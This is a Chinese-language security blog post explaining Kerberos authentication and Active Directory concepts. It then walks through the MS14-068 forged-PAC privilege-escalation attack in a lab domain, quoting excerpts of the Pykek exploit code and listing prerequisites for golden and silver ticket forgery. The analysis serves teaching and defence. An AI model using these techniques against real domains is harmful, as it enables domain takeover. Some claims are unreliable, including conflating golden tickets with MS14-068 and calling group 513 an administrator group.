f10@t's blog

Kerberos认证过程原理及攻击手段

字数统计: 2.5k阅读时长: 9 min
2020/04/14

Kerberos认证协议流程与攻击手段

Kerberos简介与认证过程

kerberos使用中由MIT大学提出的一种网络身份验证协议,旨在通过使用密钥加密技术为C/S应用程序提供强身份验证。其实现涉及到密钥分发与密钥共享的概念。

kerberos基于对称加密体制(Needham-Schroeder认证协议),拥有两个版本v4和v5,kerberos本身主要由两大部分组成:AS(Authentication Server)和TGS(Ticket Granting Server)。

整个kerberos协议中共有两个基本角色KDC ClientKDC Center,KDC即(Key Distribution Center),整体其实还是C/S架构,那么在C(Client)这一方有两个角色:Client用户和Server提供应用程序的服务器;而S(Server)的一方就是我们的kerberos了(AS和TGS)。简单说一下他们的作用:

  • AS(Autentication Server):验证Client的身份,验证通过就会给一张TGT票(Ticket Granting Ticket)的票给Client
  • TGS(Ticket Granting Server):Client可用AS给予的TGT票据换取访问Server的票(ST,Service Ticket)

看似概念很多,实际上我们可以很形象的比作买票的过程:你(Client)今天想去游乐场玩,那么你来到了游乐场门口(域环境),用你的身份证在售票处(AS)买了一张通票,这张通票允许你去换成任何你可以体验的设施的票。你开心地拿着这张票来到了你最爱的过山车门口(TGS),用这张通票换得了过山车的票,最终你坐上了过山车(Server)。这就是Kerberos认证的过程,它主要目的就是证明你的身份(因为是用身份证买的),且你具有做过山车的权限(通票可以换任何票)。

那我们简单画一个图来示意:

image-20200414135558815

为什么需要kerberos?

Kerberos协议主要用于域环境下身份的认证,其本质解决问题是证明你确实是你本人这个问题,以此来判断你是否有权限来访问其他服务器上的资源。同时Kerberos提供了一种凭证管理方式,用票据来为用户授权,如果类比一下的话,票据就相当于web中的Cookie。

什么是域?

域的出现是为了解决企业内部的资源管理问题,比如一个公司可以在公司的内网中创建各个部门的来方便内部资源的管理。在一个域中有域控、域管理员、普通用户、主机等等资源。

你可以设想,如果你在公司中的另一台计算机上要登陆你的账号,那你就得在另一台计算机上的SAM数据库中加入你的账户信息,那要是有100台、1000台、10000台计算机呢?所以我们就就要定义一个有安全边界的计算机集合,这个集合就是域。下面简单澄清几个概念:

  • 域控(DC, Domain Controller):域控制器用于管理所有的网络访问,包括登陆服务器、访问共享目录和资源等。域控中包含了域内所有账户和策略信息(安全策略、用户身份验证信息、账户信息等)

  • 活动目录(AD,Active Directoy):指域环境中提供目录服务的组件。AD中储存了网络对象的信息(如用户、组、计算机、共享资源等),为企业提供了网络环境中的集中式管理机制。之所以叫“目录”,是因为他只是索引,具体资源请求者要去根据AD的索引访问。AD安装在DC上。

  • 成员服务器:指没有安装活动目录的计算机,其定位是提供网络资源,比如:FTP服务器、Mysql服务器、Web服务器、Mail服务器、打印服务器等等

  • 客户机:域中的普通计算机就是客户机,用户可以利用这些计算机和狱中的账户来登录域、访问域中的各种资源

  • 独立服务器

可以参考下面这张图,这是我实验环境中DC的用户列表:

可以看到有krbtgt这一个用户,该用户KDC自动创建的,他的用途下面认证流程中看到。

Kerberos认证流程

我们假设这里只有一个用户、一个服务器、以及一个AS和TGS,版本为v4

第一阶段

用户向AS发送信息,该信息是用用户密钥加密了的时间戳、Client ID、网络地址、加密类型等数据。因为在KDC Server中储存了所有用户的密码hash,所以AS收到信息后会从数据库中取出Client ID对应的密码来解密,解密后验证信息,验证成功就返回信息,该信息为用Client密码加密的sessionkey-as和TGT(用Krbtgt的密钥Hash加密的sessionkey-as和时间戳等信息)

第二阶段

用户收到第一阶段的信息后,用自己的密码解密得到sessionkey-as,TGT是无法解密的,因为他是AS使用krbtgt账户的密码加密的,此时用户使用sessionkey-as将时间戳进行加密后与TGT和一并发送给TGS

TGS收到这条消息后会检查是是否存在Client请求的服务,若存在,使用krbtgt解密TGT,检查时间是是否过期,且原始地址和TGT中信息是否相同。若成功,则将用sessionkey-as加密session-tgs和用请求服务的Server的密码hash值加密的session-key-tgs --- ST一起发送回去。

第三阶段

用户收到第二阶段的sessionkey-tgs和ST之后,因为ST必须使用Server的密码解密,而用户是不能解密的,所以用sessionkey-tgs加密的时间戳和原始ST一并发送给Server。

Server使用自己的密钥解密sessionkey-tgs后,验证成功就返回正确。

实验环境说明

本实验环境中域为lab.com,共三台机器:Windows2k3(DC)、Windows7SP1、Windows XPSP3。以及攻击机kali,拓扑图如下:

黄金票据与白银票据

黄金票据 MS14068

所需工具:Pykek、mimikatz

利用条件

  • 域名称
  • 域的SID值
  • 域的KRBTGT账户密码HASH
  • 伪造用户名,可以是任意的

该漏洞的修复补丁为KB3011780,具体的攻击步骤可以看我的这篇博客,实验环境是一样的,这里不再赘述,这里补充一下具体具体的原因,我们使用抓包的方式来说明。下面是抓包的结果:

第一阶段

Kerberos是应用层协议,我们直接看这部分。

对AS请求的内容为两个数据:PA-ENC-TIMESTAMP和PA-PAC-REQUEST,前者加密了的时间戳,后者是请求数据。这一个请求会从AS处获得一个不包含PAC的TGT票据,上图中可以看到第二部分数据的include-pac字段值为False,这是造成漏洞的第一个因素。可以从代码看出来不包含PAC策略:

1
2
3
4
5
6
sys.stderr.write('  [+] Building AS-REQ for %s...' % kdc_a)
sys.stderr.flush()
nonce = getrandbits(31)
current_time = time()
as_req = build_as_req(user_realm, user_name, user_key, current_time, nonce, pac_request=False) # pac_request选项为False
sys.stderr.write(' Done!\n')

接着AS收到后会返回值:

image-20200414161854510

可以看到ticket字段中说明了域为lab.com,给予对象为win7,在ticket这一项的enc-part中,cipher(0f3bc...)这一项就是不包含PAC的TGT票据。

第二阶段

攻击机收到这个TGT票据后,在请求TGS前先构造PAC部分:

1
2
3
4
5
6
7
8
9
sys.stderr.write('  [+] Building TGS-REQ for %s...' % kdc_a)
sys.stderr.flush()
subkey = generate_subkey()
nonce = getrandbits(31)
current_time = time()
pac = (AD_WIN2K_PAC, build_pac(user_realm, user_name, user_sid, logon_time))
tgs_req = build_tgs_req(user_realm, 'krbtgt', target_realm, user_realm, user_name,
tgt_a, session_key, subkey, nonce, current_time, pac, pac_request=False)
sys.stderr.write(' Done!\n')

pac这个值是一个元组,第一项AD_WIN2K_PAC是一个常数128,定义在krb5.py中,第二项是pac的内容,将域名、用户名、sid、登录时间填进去,这些信息都是从第一阶段的返回数据包中解析出来的。我们看一下这个build_pac函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
def build_pac(user_realm, user_name, user_sid, logon_time, server_key=(RSA_MD5, None), kdc_key=(RSA_MD5, None)):
logon_time = epoch2filetime(logon_time)
domain_sid, user_id = user_sid.rsplit('-', 1)# 获取域sid和用户sid
user_id = int(user_id)
# 假如传入S-1-5-21-2925046018-4036314451-2137527233-1111
# 则user_id 为1111, domain_sid为S-1-5-21-2925046018-4036314451-2137527233

# 这里构造出来的DOMAIN USERS是513管理员权限组
elements.append((PAC_LOGON_INFO, _build_pac_logon_info(domain_sid, user_realm, user_id, user_name, logon_time)))

......

###################################################
chksum1 = checksum(server_key[0], buf, server_key[1])
chksum2 = checksum(kdc_key[0], chksum1, kdc_key[1])
###################################################
buf = buf[:ch_offset1] + chksum1 + buf[ch_offset1+len(chksum1):ch_offset2] + chksum2 + buf[ch_offset2+len(chksum2):]

return buf

注意最后两行的chksum计算,传入的第一个参数为server_key[0]和kdc_key[0],这两个参数是位置参数,并没有传入,分别为:server_key=(RSA_MD5, None), kdc_key=(RSA_MD5, None)。我们再看看checksum函数:

1
2
3
4
5
6
7
def checksum(cksumtype, data, key=None):
if cksumtype == RSA_MD5:
return MD5.new(data).digest()
elif cksumtype == HMAC_MD5:
return HMAC.new(key, data).digest()
else:
raise NotImplementedError('Only MD5 supported!')

所以均使用的是MD5的加密方式。这是漏洞的第二个原因。至此数据包构造完毕发送给TGS。

image-20200414172631965

TGS收到数据包后在根据对伪造的PAC验证成功之后,返回给Client端一有新的TGT,并且这个TGT会将Pykek生成的PAC包含在其中,返回的用于发送给Server端做认证的ST票据。这样我们就获得了一张拥有域内最高权限(域管理员权限)的票据,又叫黄金票据。

白银票据

白银票据伪造的ST(Service Ticket),因为在TGT已经在PAC里限定了给Client授权的服务(通过SID的值),所以银票只能访问指定服务。

利用条件:

  • 域名称

  • 要提权机器的域内SID值

  • 域服务账户的密码HASH(无需是krbgt用户)

  • 伪造的用户名

与黄金票据相比利用条件就是省区了krbgt用户的密码,其他都一样

参考文章

https://www.anquanke.com/post/id/171552#h3-3

https://tools.ietf.org/html/rfc4120.html

CATALOG
  1. 1. Kerberos简介与认证过程
    1. 1.1. 为什么需要kerberos?
    2. 1.2. 什么是域?
    3. 1.3. Kerberos认证流程
      1. 1.3.1. 第一阶段
      2. 1.3.2. 第二阶段
      3. 1.3.3. 第三阶段
  2. 2. 实验环境说明
    1. 2.1. 黄金票据与白银票据
      1. 2.1.1. 黄金票据 MS14068
        1. 2.1.1.1. 第一阶段
        2. 2.1.1.2. 第二阶段
      2. 2.1.2. 白银票据
  3. 3. 参考文章